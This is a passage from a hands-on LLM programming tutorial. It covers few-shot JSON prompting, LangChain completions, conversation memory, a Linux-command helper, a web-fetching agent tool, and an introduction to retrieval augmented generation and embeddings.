<h3 id="giving-the-llm-examples-to-learn-from" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#giving-the-llm-examples-to-learn-from">Giving the LLM examples to learn from</a></h3>
<p>This time, we’d like the chat interface to produce JSON output so that it’s easier to work with in our code. Start by modifying the system message and simply asking for some JSON.</p>
<p>Clear the chat, then in the System prompt area:</p>
<pre><code>You are a helpful assistant with a vast knowledge of chemistry. When the user asks about an element, respond with the chemical symbol, atomic number and atomic weight in a JSON format. Do not include additional information.
</code></pre>
<p>Try asking about some elements and it should respond with some JSON, I got an output like <code>{"symbol": "V", "atomic_number": 23, "atomic_weight": 50.9415 }</code></p>
<p>Although the LLM made up the JSON key names, there’s no guarantee it will always use those key names. We want to control the JSON key names and have the LLM follow our schema.</p>
<p>This is where examples come in. In the System prompt area, it’s possible to provide a few examples to get the LLM going, and then any subsequent answers it produces should follow those examples. This technique is known as <strong>Few Shot Prompting</strong>.</p>
<p>Clear the chat, then in the System prompt area:</p>
<pre><code>You are a helpful assistant with a vast knowledge of chemistry. When the user asks about an element, respond with the chemical symbol, atomic number and atomic weight in a JSON format. Do not include additional information.
Examples:
User: Tell me about Helium.
Assistant: {"sym": "He", "num": 2, "wgt": 4.0026}
User: What about Nitrogen?
Assistant: {"sym": "N", "num": 7, "wgt": 14.0067}
</code></pre>
<p>Try the questions once more and observe as the JSON keys match the examples.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/017a.png"><img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/017a.png" alt="Ask for JSON" loading="lazy" data-caption="Ask for JSON" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/017b.png"><img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/017b.png" alt="Show some JSON (few shot prompting)" loading="lazy" data-caption="Show some JSON (few shot prompting)" style="width: calc(50% - 0.5em);" /></span>
<figcaption></figcaption></figure>
<h2 id="programming-with-langchain" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#programming-with-langchain">Programming with LangChain</a></h2>
<p>LangChain is a framework that helps take away the heavy lifting when programming against LLMs including OpenAI, Bedrock and LLaMa. It’s useful for prototyping and learning because it takes away a lot of the boilerplate work that we’d normally do, it comes with some predefined templates, and the ability to ‘use’ tools. The general consensus, currently, is that it’s a great way to start, although for an actual production application a developer might want more control over the interaction, and end up doing it themselves. Either way, it’s a good place to start for a tutorial at least.</p>
<p>In the next few steps let’s repeat some of the above exercises, and then move on to more complex examples like agents and tools.</p>
<p>Once your Python notebook is ready, install langchain and openai in a cell.</p>
<pre class="language-python"><code class="language-python">! pip install langchain openai</code></pre>
<p>Initialize an <code>llm</code> object, this will be used by all the modules going forward. Have an API key ready, which can be generated <a href="https://platform.openai.com/api-keys">here for OpenAI</a>. In Azure OpenAI, it is visible by clicking ‘View Code’.</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">from</span> langchain<span class="token punctuation">.</span>chat_models <span class="token keyword">import</span> ChatOpenAI
llm <span class="token operator">=</span> ChatOpenAI<span class="token punctuation">(</span>temperature<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">,</span> model<span class="token operator">=</span><span class="token string">"gpt-3.5-turbo"</span><span class="token punctuation">,</span> openai_api_key<span class="token operator">=</span><span class="token string">"xxxxxxxxxxxxxxxxx"</span><span class="token punctuation">)</span></code></pre>
<p>Here I’m telling it to use the GPT 3.5 Turbo model, with a temperature of 1.</p>
<h3 id="basic-completion" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#basic-completion">Basic completion</a></h3>
<p>Perform a basic completion now, just as we did back in the Completion playground, but this time it’s through the <code>llm</code> object. Run the code a few times to get different outputs.</p>
<pre class="language-python"><code class="language-python">llm<span class="token punctuation">.</span>predict<span class="token punctuation">(</span><span class="token string">"The sky is"</span><span class="token punctuation">)</span>
<span class="token comment"># </span>
<span class="token comment"># Output: </span>
<span class="token comment"># 'The sky is the atmosphere above the Earth's surface. It is typically blue during the day due to sunlight scattering off particles in the atmosphere. At night, the sky appears black and is filled with stars, planets, and other celestial objects. The sky can also change colors, such as during sunrise and sunset when it can also appear orange, pink, or purple.'</span>
<span class="token comment"># 'blue.'</span>
<span class="token comment"># 'blue during the day and black during the night.'</span></code></pre>
<h3 id="summarizing-text" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#summarizing-text">Summarizing text</a></h3>
<p>Set the temperature to 0.1 for the <code>llm</code> object, as we need increased predictability for the rest of the exercises.</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">from</span> langchain<span class="token punctuation">.</span>chat_models <span class="token keyword">import</span> ChatOpenAI
llm <span class="token operator">=</span> ChatOpenAI<span class="token punctuation">(</span>temperature<span class="token operator">=</span><span class="token number">0.1</span><span class="token punctuation">,</span> model<span class="token operator">=</span><span class="token string">"gpt-3.5-turbo"</span><span class="token punctuation">,</span> openai_api_key<span class="token operator">=</span><span class="token string">"xxxxxxxxxxxxxxxxx"</span><span class="token punctuation">)</span></code></pre>
<p>In another cell, copy the body text from a news article, and have the LLM summarize it.</p>
<pre class="language-python"><code class="language-python">text <span class="token operator">=</span> <span class="token triple-quoted-string string">"""
Summarize the following news article in one paragraph.
<paste the news article here>
"""</span>
llm<span class="token punctuation">.</span>predict<span class="token punctuation">(</span>text<span class="token punctuation">)</span>
<span class="token comment">#</span>
<span class="token comment"># I used the body from https://www.airseychelles.com/en/about-us/news/2021/07/air-seychelles-welcomes-appointment-new-acting-ceo-and-cfo</span>
<span class="token comment"># Output:</span>
<span class="token comment"># Air Seychelles has appointed Sandy Benoiton as its permanent chief executive after he served in the role on an interim basis. Benoiton has been with Air Seychelles for over 23 years, primarily as the airline's chief operations officer. The company recently announced profits of $8.4 million for 2022, marking its first positive annual result since 2016. As part of its recovery process, the airline entered administration and significantly reduced its debt levels. Air Seychelles operates a fleet of two Airbus A320 and five De Havilland Canada Dash 6 aircraft.</span></code></pre>
<h3 id="answering-questions-1" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#answering-questions-1">Answering questions</a></h3>
<p>As before, but programmatically. Supply a news article and a question for the LLM to answer. Grab a <a href="https://www.universetoday.com/164299/an-asteroid-will-occult-betelgeuse-on-december-12th/">news article</a> and ask a question.</p>
<pre class="language-python"><code class="language-python">text <span class="token operator">=</span> <span class="token triple-quoted-string string">"""
Given this news article answer the question that follows.
<paste the news article here>
---
Question: What are the best locations to see the asteroid?"""</span>
llm<span class="token punctuation">.</span>predict<span class="token punctuation">(</span>text<span class="token punctuation">)</span>
<span class="token comment"># Output:</span>
<span class="token comment"># The best locations to see the asteroid are along a corridor from central Asia and southern Europe to Florida and Mexico.</span></code></pre>
<h2 id="rudimentary-chat-interface" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#rudimentary-chat-interface">Rudimentary chat interface</a></h2>
<p>Recall the main attributes of a chatbot, mainly that it stops after an answer, and that it has some history so it knows what’s been asked before.</p>
<p>On its own, the basic <code>llm</code> object declared above is only useful for completion. To illustrate this, run the following in a cell, which creates an inline textbox.</p>
<p>Give it a statement (<code>My favourite colour is green</code>), then a follow up question (<code>What is my favourite colour?</code>), and watch it fail.</p>
<pre class="language-python"><code class="language-python">chat <span class="token operator">=</span> <span class="token string">""</span>
<span class="token keyword">while</span><span class="token punctuation">(</span><span class="token boolean">True</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
<span class="token keyword">if</span> chat<span class="token operator">==</span><span class="token string">"exit"</span><span class="token punctuation">:</span>
<span class="token keyword">break</span>
chat<span class="token operator">=</span><span class="token builtin">input</span><span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span>llm<span class="token punctuation">.</span>predict<span class="token punctuation">(</span>chat<span class="token punctuation">)</span><span class="token punctuation">)</span>
<span class="token comment">#</span>
<span class="token comment"># My favorite colour is green.</span>
<span class="token comment"># That's great! Green is a vibrant and refreshing color often associated with nature, growth, and harmony. It can also symbolize balance and renewal. What do you like most about the color green?</span>
<span class="token comment"># What is my favorite colour?</span>
<span class="token comment"># I'm sorry, but as an AI, I don't have access to personal information about individuals unless it has been shared with me during our conversation. Therefore, I don't know what your favorite color is. </span></code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/018.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/018.png" alt="The object doesn't remember things" loading="lazy" /></span>
<figcaption>The <code>llm</code> object doesn’t remember things</figcaption>
</figure><p></p>
<p>In order to give the LLM memory, we need to supply the previous questions and answers to the LLM as an input, followed by the user’s next question. We could build this up ourselves, but LangChain comes with built in helpers to do this for us.</p>
<p>LangChain comes with a helpful wrapper class, ConversationChain, which takes care of storing and sending previous conversations. It has the ability to store conversations in data stores, of which one is the in-memory ConversationBufferMemory. There are other options for backing stores for history, in-memory is the simplest for a tutorial. Create the conversation chain now:</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">from</span> langchain<span class="token punctuation">.</span>chains <span class="token keyword">import</span> ConversationChain
<span class="token keyword">from</span> langchain<span class="token punctuation">.</span>memory <span class="token keyword">import</span> ConversationBufferMemory
conversation <span class="token operator">=</span> ConversationChain<span class="token punctuation">(</span>llm<span class="token operator">=</span>llm<span class="token punctuation">,</span> memory<span class="token operator">=</span>ConversationBufferMemory<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> verbose<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span></code></pre>
<p>Before running it though, have a look at the prompt template to see what it’s doing behind the scenes.</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">print</span><span class="token punctuation">(</span>conversation<span class="token punctuation">.</span>prompt<span class="token punctuation">.</span>template<span class="token punctuation">)</span></code></pre>
<p>The template looks like this:</p>
<pre><code>The following is a friendly conversation between a human and an AI. The AI is talkative and provides lots of specific details from its context. If the AI does not know the answer to a question, it truthfully says it does not know.
Current conversation:
{history}
Human: {input}
AI:
</code></pre>
<p>The <code>{input}</code> is where the user’s input goes, and the <code>{history}</code> is where the ConversationChain puts the previous conversation.</p>
<p>To see it in action, send a few questions using the conversation chain. Because we’ve set verbose=True above, we should also see the template being filled.</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">print</span><span class="token punctuation">(</span>conversation<span class="token punctuation">.</span>run<span class="token punctuation">(</span><span class="token string">"My favorite color is green"</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span>conversation<span class="token punctuation">.</span>run<span class="token punctuation">(</span><span class="token string">"What is my favorite color?"</span><span class="token punctuation">)</span><span class="token punctuation">)</span></code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/019.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/019.png" alt="Watch the memory build up as more messages are sent" loading="lazy" /></span>
<figcaption>Watch the memory build up as more messages are sent</figcaption>
</figure><p></p>
<p>You can now try the same ‘inline’ chatbot as before, but using the wrapper class with a memory buffer.</p>
<pre class="language-python"><code class="language-python">conversation <span class="token operator">=</span> ConversationChain<span class="token punctuation">(</span>llm<span class="token operator">=</span>llm<span class="token punctuation">,</span> memory<span class="token operator">=</span>ConversationBufferMemory<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">)</span>
loop<span class="token operator">=</span><span class="token boolean">True</span>
chat<span class="token operator">=</span><span class="token string">""</span>
<span class="token keyword">while</span><span class="token punctuation">(</span>loop<span class="token punctuation">)</span><span class="token punctuation">:</span>
<span class="token keyword">if</span> chat<span class="token operator">==</span><span class="token string">"exit"</span><span class="token punctuation">:</span>
<span class="token keyword">break</span>
<span class="token keyword">else</span><span class="token punctuation">:</span>
chat<span class="token operator">=</span><span class="token builtin">input</span><span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span>conversation<span class="token punctuation">.</span>run<span class="token punctuation">(</span>chat<span class="token punctuation">)</span><span class="token punctuation">)</span>
</code></pre>
<p>Run it, and have a conversation with the LLM! Ask it follow up questions to ensure that the history is being passed, and it’s paying attention to previous statements.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/020.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/020.png" alt="Inline chat with memory" loading="lazy" /></span>
<figcaption>Inline chat with memory</figcaption>
</figure><p></p>
<p>You have now built a rudimentary chatbot.</p>
<h2 id="shaped-responses-with-few-shot-examples" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#shaped-responses-with-few-shot-examples">Shaped responses with few-shot examples</a></h2>
<p>We can now try another shaped response by providing a few samples to the LLM. We provide LangChain with a role, a few examples, and then the user input so that it does exactly what we ask of it.</p>
<p>We’ll create an assistant that can help with the Linux commandline. Define the system prompt (role),</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">from</span> langchain <span class="token keyword">import</span> LLMChain
<span class="token keyword">from</span> langchain<span class="token punctuation">.</span>prompts<span class="token punctuation">.</span>chat <span class="token keyword">import</span> <span class="token punctuation">(</span>
ChatPromptTemplate<span class="token punctuation">,</span>
SystemMessagePromptTemplate<span class="token punctuation">,</span>
AIMessagePromptTemplate<span class="token punctuation">,</span>
HumanMessagePromptTemplate<span class="token punctuation">,</span>
<span class="token punctuation">)</span>
system_message_prompt <span class="token operator">=</span> SystemMessagePromptTemplate<span class="token punctuation">.</span>from_template<span class="token punctuation">(</span><span class="token string">"You are a helpful assistant that outputs example Linux commands.I will describe what I want to do, and you will reply with a Linux command to accomplish that task. I want you to only reply with the Linux Bash command, and nothing else. Do not write explanations. Only output the command. If you don't have a Linux command to respond with, say you don't know, in an echo command"</span><span class="token punctuation">)</span></code></pre>
<p>Build a few examples, showing a human description followed by what the LLM should output</p>
<pre class="language-python"><code class="language-python">example_human_1 <span class="token operator">=</span> HumanMessagePromptTemplate<span class="token punctuation">.</span>from_template<span class="token punctuation">(</span><span class="token string">"List files in the current directory"</span><span class="token punctuation">)</span>
example_ai_1 <span class="token operator">=</span> AIMessagePromptTemplate<span class="token punctuation">.</span>from_template<span class="token punctuation">(</span><span class="token string">"\nls\n"</span><span class="token punctuation">)</span>
example_human_2 <span class="token operator">=</span> HumanMessagePromptTemplate<span class="token punctuation">.</span>from_template<span class="token punctuation">(</span><span class="token string">"Push my git branch up"</span><span class="token punctuation">)</span>
example_ai_2 <span class="token operator">=</span> AIMessagePromptTemplate<span class="token punctuation">.</span>from_template<span class="token punctuation">(</span><span class="token string">"\ngit push origin <branchname>\n"</span><span class="token punctuation">)</span>
example_human_3 <span class="token operator">=</span> HumanMessagePromptTemplate<span class="token punctuation">.</span>from_template<span class="token punctuation">(</span><span class="token string">"What is your name?"</span><span class="token punctuation">)</span>
example_ai_3 <span class="token operator">=</span> AIMessagePromptTemplate<span class="token punctuation">.</span>from_template<span class="token punctuation">(</span><span class="token string">"\necho Sorry, I don't know a bash command for that.\n"</span><span class="token punctuation">)</span></code></pre>
<p>Create the human prompt template, which is very straightforward in this case.</p>
<pre class="language-python"><code class="language-python">human_template <span class="token operator">=</span> <span class="token string">"\n{text}\n"</span>
human_message_prompt <span class="token operator">=</span> HumanMessagePromptTemplate<span class="token punctuation">.</span>from_template<span class="token punctuation">(</span>human_template<span class="token punctuation">)</span></code></pre>
<p>Finally bring them together into a LangChain “chain”.</p>
<pre class="language-python"><code class="language-python">chat_prompt <span class="token operator">=</span> ChatPromptTemplate<span class="token punctuation">.</span>from_messages<span class="token punctuation">(</span>
<span class="token punctuation">[</span>system_message_prompt<span class="token punctuation">,</span> example_human_1<span class="token punctuation">,</span> example_ai_1<span class="token punctuation">,</span> example_human_2<span class="token punctuation">,</span> example_ai_2<span class="token punctuation">,</span> example_human_3<span class="token punctuation">,</span> example_ai_3<span class="token punctuation">,</span> human_message_prompt<span class="token punctuation">]</span>
<span class="token punctuation">)</span>
chain <span class="token operator">=</span> LLMChain<span class="token punctuation">(</span>llm<span class="token operator">=</span>llm<span class="token punctuation">,</span> prompt<span class="token operator">=</span>chat_prompt<span class="token punctuation">,</span> verbose<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span></code></pre>
<p>You can now try asking it for some Linux help.</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">print</span><span class="token punctuation">(</span>chain<span class="token punctuation">.</span>run<span class="token punctuation">(</span><span class="token string">"How to download a file from a URL?"</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span>chain<span class="token punctuation">.</span>run<span class="token punctuation">(</span><span class="token string">"Which Linux distro am I running?"</span><span class="token punctuation">)</span><span class="token punctuation">)</span></code></pre>
<p>Since verbose is set to True, you should see the formatted examples being sent before the user’s own question.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/027.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/027.png" alt="Few shots, with LangChain" loading="lazy" /></span>
<figcaption>Few shots, with LangChain</figcaption>
</figure><p></p>
<p>This is pretty much what I’m doing for my own <a href="https://github.com/mendhak/llm-cli-helper/tree/main">LLM CLI Helper</a>. One additional improvement, is that I include a few of the previous questions and answers that I had asked the LLM. This history helps set up additional context, and lets me ask follow up questions, and makes the helper feel more natural.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/028.gif">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/028.gif" alt="LLM CLI Helper" loading="lazy" /></span>
<figcaption>LLM CLI Helper</figcaption>
</figure><p></p>
<h2 id="providing-tools-to-the-llm" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#providing-tools-to-the-llm">Providing tools to the LLM</a></h2>
<p>If we were to ask the LLM to summarize the contents of the news article at a URL, without giving it the actual contents, it could still generate a summary by guessing from the URL’s words. LLMs on their own don’t have the ability to crawl web pages. This is where tools come in; we can let the LLM know what our own code has the ability to fetch web pages, all the LLM has to do is invoke it if needed.</p>
<p>In this exercise we’ll create a LangChain Tool that can fetch a web page and return its contents. We’ll pass that tool to the LLM, then ask it to summarize the contents of a URL.</p>
<p>To begin, install the BeautifulSoup4 library which will be used to parse HTML content.</p>
<pre class="language-python"><code class="language-python">! pip install beautifulsoup4</code></pre>
<p>Define a normal Python function that will crawl a given URL and fetch its contents.</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">import</span> requests
<span class="token keyword">from</span> bs4 <span class="token keyword">import</span> BeautifulSoup
<span class="token keyword">def</span> <span class="token function">get_content_from_url</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">:</span>
headers<span class="token operator">=</span><span class="token punctuation">{</span><span class="token string">'User-Agent'</span><span class="token punctuation">:</span> <span class="token string">'Mozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0'</span><span class="token punctuation">}</span>
response <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url<span class="token punctuation">,</span> headers<span class="token operator">=</span>headers<span class="token punctuation">)</span>
soup <span class="token operator">=</span> BeautifulSoup<span class="token punctuation">(</span>response<span class="token punctuation">.</span>text<span class="token punctuation">,</span> <span class="token string">"html.parser"</span><span class="token punctuation">)</span>
<span class="token keyword">return</span> soup<span class="token punctuation">.</span>find<span class="token punctuation">(</span><span class="token string">'body'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>text
</code></pre>
<p>Do a quick test to make sure it’s working, by fetching a URL</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">print</span><span class="token punctuation">(</span>get_content_from_url<span class="token punctuation">(</span><span class="token string">'https://www.universetoday.com/164299/an-asteroid-will-occult-betelgeuse-on-december-12th/'</span><span class="token punctuation">)</span><span class="token punctuation">)</span></code></pre>
<p>We now create a LangChain <code>Tool</code> wrapper and give it a description. This will help the LLM understand what the tool can do.</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">from</span> langchain<span class="token punctuation">.</span>tools <span class="token keyword">import</span> Tool
fetch_tool <span class="token operator">=</span> Tool<span class="token punctuation">(</span>name<span class="token operator">=</span><span class="token string">"get_content_from_page"</span><span class="token punctuation">,</span>
func<span class="token operator">=</span>get_content_from_url<span class="token punctuation">,</span> coroutine<span class="token operator">=</span>get_content_from_url<span class="token punctuation">,</span>
description<span class="token operator">=</span><span class="token string">"Useful for when you need to get the contents of a web page"</span><span class="token punctuation">)</span></code></pre>
<p>Finally, initialize a LangChain Agent, passing it the Tool defined above.</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">from</span> langchain<span class="token punctuation">.</span>agents <span class="token keyword">import</span> AgentType<span class="token punctuation">,</span> initialize_agent
agent <span class="token operator">=</span> initialize_agent<span class="token punctuation">(</span>
<span class="token punctuation">[</span>fetch_tool<span class="token punctuation">]</span><span class="token punctuation">,</span> llm<span class="token punctuation">,</span> agent<span class="token operator">=</span>AgentType<span class="token punctuation">.</span>ZERO_SHOT_REACT_DESCRIPTION<span class="token punctuation">,</span> verbose<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">,</span> handle_parsing_errors<span class="token operator">=</span><span class="token boolean">True</span>
<span class="token punctuation">)</span></code></pre>
<p>This creates a LangChain Agent, another useful wrapper in the framework. An ‘Agent’, in LLM terms, is a fancy way of saying that it has the ability to make use of tools, thereby giving it ‘agency’. Technically speaking the LLM does not invoke anything, it simply outputs that it needs to call a certain tool; LangChain takes care of invoking it and returning the result to the LLM so that it can proceed with its reasoning.</p>
<p>You can have a look at the template being used by LangChain to inform the LLM about the tool.</p>
<pre class="language-python"><code class="language-python">agent<span class="token punctuation">.</span>to_json<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token string">'repr'</span><span class="token punctuation">]</span></code></pre>
<p>A bit of squinting at the dense output should show the template, including our supplied <code>get_content_from_page</code> tool.</p>
<pre><code>template='Answer the following questions as best you can. You have access to the following tools:
get_content_from_page: Useful for when you need to get the contents of a web page <------- There!
Use the following format:
Question: the input question you must answer
Thought: you should always think about what to do
Action: the action to take, should be one of [get_content_from_page]
Action Input: the input to the action
Observation: the result of the action
... (this Thought/Action/Action Input/Observation can repeat N times)
Thought: I now know the final answer
Final Answer: the final answer to the original input question
Begin!
Question: {input}
Thought:{agent_scratchpad}'
</code></pre>
<p>We can now ask the LLM to summarize the contents of a page.</p>
<pre class="language-python"><code class="language-python">agent<span class="token punctuation">.</span>run<span class="token punctuation">(</span><span class="token string">"Please fetch and summarize the contents of this page: https://code.mendhak.com/in-appreciation-of-fdroid/"</span><span class="token punctuation">)</span></code></pre>
<p>Watch the output as the LLM, in its chain of thought process, figures out it needs to invoke the tool; LangChain picks up on that and does the actual invocation and passes the results back. The LLM then proceeds to summarize the contents.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/021.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/021.png" alt="Fetch and summarize a page" loading="lazy" /></span>
<figcaption>Fetch and summarize a page</figcaption>
</figure><p></p>
<p>Try it with a few more URLs. It is not uncommon for the agent to sometimes fall over and get into a loop (use the stop button next to the cell when this happens). The agent isn’t perfect and can get confused at times.</p>
<h2 id="question-answering-over-documents" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#question-answering-over-documents">Question answering over documents</a></h2>
<p>Although LLMs are trained by crawling over web content, even over trillions of tokens they don’t have all the answers. This is especially true for documents or datasets that are specific to businesses and individuals, which the LLM will not have had access to.</p>
<p>If we want an LLM to answer a question over a specific datset or document store with certainty, we would need to provide those documents to the LLM as part of its context. However, even with 100k+ token LLMs, this isn’t feasible if there are lots of documents. The LLM will either lose attention or the large number of documents just won’t fit.</p>
<p>Instead, the answer is to use something called <strong>Retrieval Augmented Generation (RAG)</strong>. We first take all our documents and convert them into embeddings, and store them. When a user asks a question, we match the user’s question with the closest set of documents that are probably related to that question. We then grab that document and pass it to the LLM along with the user’s question, to get a natural looking answer. The LLM only has to work with relevant documents to answer the question.</p>
<p>In other words, Retrieval Augmented Generation is just a fancy phrasing for picking out most relevant documents before giving it to the LLM.</p>
<div class="notice info">
If you are rolling your eyes at the numerous, pointless, superfluous jargon, and the pretentious phrasing for what are basic concepts, you are not alone. Datascience academia appear to have a habit of rewording simple things. Or as I refer to it, semantic recalibration. We’ll just have to get used to it.
</div>
<p>Let’s briefly look at RAG and embeddings, before doing a basic example in code.</p>
<h3 id="how-rag-works" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#how-rag-works">How RAG works</a></h3>
<ol>
<li>We first take each dataset or document, and pass it to an embedding model, which is a way of converting the text into a special numerical representation optimized for natural language searching.</li>
<li>Once we have these embeddings, we store them in a vector store, a database that’s optimized for searching over embeddings.</li>
<li>When a user asks a question, we take their question and pass it to the same embedding model.</li>
<li>We use the vector store to search for the documents that most likely match that user’s question. This is where embeddings shine as they are good at matching natural language documents together.</li>
<li>Once we have a document matching the user’s question, we pass the document and the user’s question to the LLM, to generate a natural looking response.</li>
</ol>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/022.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/022.png" alt="The Retrieval Augmented Generation process" loading="lazy" /></span>
<figcaption>The Retrieval Augmented Generation process</figcaption>
</figure><p></p>
<h4 id="how-embeddings-work" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#how-embeddings-work">How embeddings work</a></h4>
<p>Embeddings are a special way of representing words, by placing similar terms close to each other.</p>
<p>A good way to visualize it is with this image below.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/023.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/023.png" alt="Simple vectors source" loading="lazy" /></span>
<figcaption>Simple vectors <a href="https://wordlift.io/blog/en/entity/what-are-embeddings/">source</a></figcaption>
</figure><p></p>
<p>You can have words like “king” and “queen” close to each other in the “male-female” dimension.<br />
You can have “swam” and “swimming” close to each other in the “verb-tense” dimension.<br />
You can have “Japan” and “Tokyo” close to each other in the “country-capital” dimension.</p>
<p>These are just examples of words close to each other, but in just one dimension.
An embedding is a vector that represents words close to each other across hundreds or <em>thousands</em> of dimensions. Embedding models have strong opinions of which kinds of words should be located near each other in such a space. By producing these numerical representations, they make it easy to search for similarity.</p>
<h3 id="retrieval-augmented-search-with-langchain" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#retrieval-augmented-search-with-langchain">Retrieval Augmented Search with LangChain</a></h3>
<p>In a cell, use LangChain’s WebBaseLoader to load three URLs. We will eventually ask a question that is answered in one of these pages.</p>
<pre class="language-python"><code class="language-python"><span class="token comment"># Document loading</span>
<span class="token keyword">from</span> langchain<span class="token punctuation">.</span>document_loaders <span class="token keyword">import</span> WebBaseLoader
urls <span class="token operator">=</span> <span class="token punctuation">[</span>
<span class="token string">"https://www.cirium.com/thoughtcloud/aviation-analytics-on-the-fly-london-busiest-overseas-airline-markets/"</span><span class="token punctuation">,</span>
<span class="token string">"https://www.cirium.com/thoughtcloud/summer-in-spain-airline-market/"</span><span class="token punctuation">,</span>
<span class="token string">"https://www.cirium.com/thoughtcloud/analysis-china-slower-post-pandemic-aviation-recovery/"</span><span class="token punctuation">,</span>
<span class="token punctuation">]</span>
loader <span class="token operator">=</span> WebBaseLoader<span class="token punctuation">(</span>urls<span class="token punctuation">)</span>
data <span class="token operator">=</span> loader<span class="token punctuation">.</span>load<span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre>
<p>All this does so far is fetch the text from these pages. Have a peek inside by running <code>data</code> in a cell.</p>
<pre class="language-python"><code class="language-python">data</code></pre>
<h3 id="split-up-the-documents" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#split-up-the-documents">Split up the documents</a></h3>
<p>We now need to split these documents into chunks for embedding and vector storage. I’ve arbitrarily chosen 500 as the chunk size.</p>
<pre class="language-python"><code class="language-python"><span class="token comment"># Splitting the documents into chunks for embedding and vector storage</span>
<span class="token keyword">from</span> langchain<span class="token punctuation">.</span>text_splitter <span class="token keyword">import</span> RecursiveCharacterTextSplitter
text_splitter <span class="token operator">=</span> RecursiveCharacterTextSplitter<span class="token punctuation">(</span>chunk_size <span class="token operator">=</span> <span class="token number">500</span><span class="token punctuation">,</span> chunk_overlap <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">)</span>
documents <span class="token operator">=</span> text_splitter<span class="token punctuation">.</span>split_documents<span class="token punctuation">(</span>data<span class="token punctuation">)</span></code></pre>
<p>At this point, <code>documents</code> contains the same content from before, just split up, but with references to the original URLs. Have a peek.</p>
<pre class="language-python"><code class="language-python">documents<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token number">5</span><span class="token punctuation">]</span></code></pre>
<h3 id="set-up-the-embedding-model" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#set-up-the-embedding-model">Set up the embedding model</a></h3>
<p>The document chunks will need to be passed to an embedding model. The text can’t just be passed as-is, it needs to be tokenized first.</p>
<p>Install the tiktoken library.</p>
<pre class="language-python"><code class="language-python">! pip install tiktoken</code></pre>
<p>Initialize an OpenAIEmbeddings object with the same OpenAI API key. We’ll use an OpenAI model called <code>text-embedding-ada-002</code> to create embeddings.</p>
